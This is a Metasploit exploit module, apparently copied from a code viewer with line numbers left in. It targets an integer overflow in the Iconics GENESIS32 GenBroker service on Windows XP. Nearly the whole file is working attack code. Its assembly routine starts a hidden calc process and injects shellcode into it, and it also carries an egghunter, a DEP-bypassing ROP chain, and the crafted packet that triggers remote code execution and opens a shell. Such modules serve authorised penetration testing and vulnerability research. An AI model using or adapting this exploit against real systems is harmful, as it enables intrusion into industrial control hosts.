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1
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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6
class MetasploitModule < Msf::Exploit::Remote
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  Rank = GoodRanking
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  include Msf::Exploit::Remote::Tcp
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  include Msf::Exploit::Remote::Egghunter
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  def initialize(info={})
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    super(update_info(info,
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      'Name'           => "Iconics GENESIS32 Integer Overflow Version 9.21.201.01",
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      'Description'    => %q{
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          The GenBroker service on port 38080 is affected by three integer overflow
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        vulnerabilities while handling opcode 0x4b0, which is caused by abusing the
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        the memory allocations needed for the number of elements passed by the client.
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        This results unexpected behaviors such as direct registry calls, memory location
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        calls, or arbitrary remote code execution.  Please note that in order to ensure
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        reliability, this exploit will try to open calc (hidden), inject itself into the
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        process, and then open up a shell session.  Also, DEP bypass is supported.
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      },
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      'License'        => MSF_LICENSE,
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      'Author'         =>
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        [
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          'Luigi Auriemma', #Initial discovery, poc
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          'Lincoln',        #Metasploit
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          'corelanc0d3r <peter.ve[at]corelan.be>',   #Metasploit + custom migrate fu
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        ],
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      'References'     =>
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        [
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          ['OSVDB', '72817'],
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          ['URL', 'http://aluigi.org/adv/genesis_4-adv.txt'],
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          ['URL', 'https://www.cisa.gov/uscert/ics/alerts/ICS-ALERT-11-080-02']
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        ],
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      'Payload'        =>
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        {
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          'BadChars' => "\x00",
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        },
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      'DefaultOptions'  =>
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        {
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          'EXITFUNC' => "thread",
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        },
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      'Platform'       => 'win',
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      'Targets'        =>
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        [
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          [
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            'Windows XP',
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            {
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              'Ret' => "\x70\x45",
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              'Max' => 9000,
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            }
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          ],
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        ],
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      'Privileged'     => false,
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      'DisclosureDate' => '2011-03-21',
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      'DefaultTarget'  => 0))
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      register_options(
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        [
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          Opt::RPORT(38080)
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        ])
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  end
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  def exploit
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    migrate_asm = %Q|
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add esp,-500                  ; adjust the stack to be sure
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pushad                        ; save stuff
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find_kernel32:                ;find kernel32
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push esi                      ; Save esi
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xor  esi, esi                 ; Zero esi
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mov  eax, fs:[esi + 0x4]      ; Extract TEB
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mov  eax, [eax - 0x1c]
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find_kernel32_base:
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find_kernel32_base_loop:
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dec  eax                      ; Subtract to our next page
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xor  ax, ax                   ; Zero the lower half
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cmp  word [eax], 0x5a4d       ; Is this the top of kernel32?
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jne  find_kernel32_base_loop  ; Nope?  Try again.
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find_kernel32_base_finished:
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pop  esi                      ; Restore esi
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mov edx,eax                   ; save base of kernel32 in edx
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jmp main_routine
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; find function pointer
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find_function:
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pushad                        ;save all registers
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mov ebp, [esp + 0x24]         ;base address of module that is being loaded in ebp
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mov eax, [ebp + 0x3c]         ;skip over MSDOS header
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mov edx, [ebp + eax + 0x78]   ;go to export table and put RVA in edx
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add edx, ebp                  ;add base address to it.
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mov ecx, [edx + 0x18]         ;set up counter ECX (how many exported items are in array ?)
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mov ebx, [edx + 0x20]         ;put names table relative offset in ebx
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add ebx, ebp                  ;add base address to it (ebx = absolute address of names table)
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;(should never happen)
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;unless function could not be found
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find_function_loop:
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jecxz find_function_finished  ;if ecx=0, then last symbol has been checked.
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dec ecx                       ;ecx=ecx-1
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;with the current symbol
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;and store offset in esi
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mov esi, [ebx + ecx * 4]      ;get relative offset of the name associated
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add esi, ebp                  ;add base address (esi = absolute address of current symbol)
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compute_hash:
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xor edi, edi                  ;zero out edi
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xor eax, eax                  ;zero out eax
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cld                           ;clear direction flag.
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compute_hash_again:
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lodsb                         ;load bytes at esi (current symbol name) into al, + increment esi
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test al, al                   ;end of string ?
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jz compute_hash_finished      ;yes
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ror edi, 0xd                  ;no, rotate value of hash 13 bits to the right
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add edi, eax                  ;add current character of symbol name to hash accumulator
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jmp compute_hash_again        ;continue loop
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compute_hash_finished:
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find_function_compare:
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cmp edi, [esp + 0x28]         ;see if computed hash matches requested hash (at esp+0x28)
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jnz find_function_loop        ;no match, go to next symbol
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mov ebx, [edx + 0x24]         ;if match : extract ordinals table (relative offset and put in ebx)
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add ebx, ebp                  ;add base address (ebx = absolute address of ordinals address table)
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mov  cx, [ebx + 2 * ecx]      ;get current symbol ordinal number (2 bytes)
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mov ebx, [edx  +  0x1c]       ;get address table relative and put in ebx
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add ebx, ebp                  ;add base address (ebx = absolute address of address table)
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mov eax, [ebx + 4 * ecx]      ;get relative function offset from its ordinal and put in eax
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add eax, ebp                  ;add base address (eax = absolute address of function address)
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mov [esp + 0x1c], eax         ;overwrite stack copy of eax so popad (return func addr in eax)
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find_function_finished:       ;retrieve original registers (eax will contain function address)
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popad
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ret
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;--------------------------------------------------------------------------------------
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find_funcs_for_dll:
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lodsd                         ;load current hash into eax (pointed to by esi)
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push eax                      ;push hash to stack
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push edx                      ;push base address of dll to stack
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call find_function
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mov [edi], eax                ;write function pointer into address at edi
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add esp, 0x08                 ;adjust stack
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add edi, 0x04                 ;increase edi to store next pointer
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cmp esi, ecx                  ;did we process all hashes yet ?
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jne find_funcs_for_dll        ;get next hash and lookup function pointer
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find_funcs_for_dll_finished:
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ret
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;--------------------------------------------------------------------------------------
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main_routine:
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sub esp,0x1c                  ;allocate space on stack to store function addresses + ptr to string
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mov ebp,esp
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; ebp+4	 : GetStartupInfo
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; ebp+8  : CreateProcess
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; ebp+C  : VirtualAllocEx
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; ebp+10 : WriteProcessMemory
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; ebp+14 : CreateRemoteThread
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; ebp+18 : Sleep
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; ebp+1c : ptr to calc
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jmp get_func_hash
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get_func_hash_return:
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pop esi                       ;get pointer to hashes into esi
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;edi will be increased with 0x04 for each hash
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lea edi, [ebp+0x4]            ;we will store the function addresses at edi
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mov ecx,esi
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add ecx,0x18
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call find_funcs_for_dll       ;get function pointers for all hashes
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; get our own startupinfo at esp+0x60
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; ebp+4 = GetStartupInfo
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mov edx,esp
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add edx,0x60
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push edx
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call [ebp+0x4]
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;ptr to startupinfo is in eax
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; create a new process
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; pointer to string is in ecx
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; ebp+8 = CreateProcessA
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; ptr to startupinfo is now in eax
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; no need to patch startupinfo, target runs as a service
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; +2c : dwFlags : set to 0x1
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; +30 : wShowWind : set to 0 (hide)
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; create the process
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mov edi,eax
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add edi,48
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push edi                      ; lpProcessInformation : write processinfo here
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push eax                      ; lpStartupInfo : current info (read)
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push 0                        ; lpCurrentDirectory
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push 0                        ; lpEnvironment
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push 0x08000000               ; dwCreationFlags
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push 0                        ; bInHeritHandles
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push 0
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push 0
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push esi                      ; ptr to calc
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push 0
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call [ebp+0x8]
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; muahah calc ftw, now sleep a bit
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push 0xbb8                    ; 3 seconds
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call [ebp+0x18]
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; allocate memory in the process (VirtualAllocEx())
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; get handle
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mov ecx,[edi]
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push 0x40                     ; RWX
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push 0x1000                   ; MEM_COMMIT
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push 0x1000                   ; size
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push 0                        ; address
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push ecx                      ; handle
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call [ebp+0xc]
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; eax now contains the destination
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; WriteProcessMemory()
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mov ecx,[edi]                 ; pick up handle again
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push 0x1000                   ; size
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; pick up pointer to shellcode & push to stack
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mov ebx,[esp+0x20]
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add ebx,320
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push ebx                      ; source
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push eax                      ; destination
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push ecx                      ; handle
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call [ebp+0x10]
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; run the code (CreateRemoteThread())
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mov ecx,[edi]                 ; pick up handle again
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push 0                        ; lpthreadID
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push 0                        ; run immediately
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push 0                        ; no parameter
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mov ebx,[esp-0x4]
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push ebx                      ; shellcode
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push 0x2000                   ; stacksize
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push 0                        ; lpThreadAttributes
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push ecx
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call [ebp+0x14]               ; go baby !
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get_func_hash:
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call get_func_hash_return
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db 0xD7                       ;GetStartupInfoA
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db 0xE3
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db 0x7A
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db 0x86
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db 0x72                       ;CreateProcessA
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db 0xfe
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db 0xb3
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db 0x16
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db 0x9c                       ;VirtualAllocEx
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db 0x95
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db 0x1a
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db 0x6e
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db 0xa1                       ;WriteProcessMemory
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db 0x6a
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db 0x3d
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db 0xd8
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db 0xdd                       ;CreateRemoteThread
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db 0x9c
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db 0xbd
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db 0x72                       ;Sleep
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db 0xB0
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db 0x49
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db 0x2D
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db 0xDB
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; sneak in ptr to string too :)
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db "calc"
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db 0x00
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|
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    migrate = Metasm::Shellcode.assemble(Metasm::Ia32.new, migrate_asm).encode_string
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    nops = make_nops(10) * 4
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    thepayload = migrate << nops << payload.encoded
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    eggoptions =
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    {
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      :eggtag => 'w00t',
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    }
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    hunter, egg = generate_egghunter(thepayload, "", eggoptions)
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    header  = "\x01\x00\x00\x1e\x00\x00\x00\x01\x00\x00\x1f\xf4\x01\x00\x00\x00"
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    header << "\x00\x00\x00\x00\xb0\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
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    header << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x40"
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    rop_chain =
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    [
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      0x100b257b,  # POP ESP # RETN
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      0x771a22e4,  # pointer in ecx -> initial ret to ret to pointer -> beg rop (thank you mona.py)
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      0x10047355,  # Duplicate, readable, RETN
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      0x10047355,  # POP EAX # RETN    ** [GenClientU.dll]
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      0xffffffde,
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      0x7c3b2c65,  # NEG EAX # RETN    ** [MSVCP71.dll]
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      0x1011e33e,  # XCHG EAX,EDX # RETN
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      0x1001ab22,  # POP ECX # RETN    ** [GenClientU.dll]
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      0x77dd1404,  # ptr to ptr to NtSetInformationProcess()  (ADVAPI.dll, static on XP)
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      0x100136c0,  # MOV EAX,DWORD PTR DS:[ECX] # RETN    ** [GenClientU.dll]
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      0x1008cfd1,  # POP EDI, POP ESI, POP EBP, POP EBX, POP ESI,RETN ** [GenClientU.dll]
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      0x10080163,  # POP ESI # RETN -> EDI
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      0x41414141,
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      0x41414141,
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      0xffffffff,  # NtCurrentProcess() (EBX)
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      0x7c331d24,  # ptr to 0x2 -> ECX
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      0x10090e3d,  # XCHG EAX,EBP # RETN    ** [GenClientU.dll]
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      0x10047355,  # POP EAX # RETN    ** [GenClientU.dll]
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      0xfffffffc,
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      0x7c3b2c65,  # NEG EAX # RETN    ** [MSVCP71.dll]
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      0x100dda84,  # PUSHAD # RETN    ** [GenClientU.dll]
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      0x90908aeb,  # go to egghunter
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    ].pack('V*')
324

325
    sploit  = target['Ret'] * 180
326
    sploit << [0x74757677].pack('V') * 8
327
    sploit << "\x77\x77"
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    sploit << hunter  #32 byte hunter, no room for checksum
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    sploit << rop_chain
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    sploit << make_nops(28)
331
    sploit << egg
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333
    sploit << rand_text_alpha(target['Max']-sploit.length)
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    connect
336
    print_status("Sending request. This will take a few seconds...")
337
    sock.put(header + sploit)
338

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    handler
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    disconnect
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342
  end
343
end
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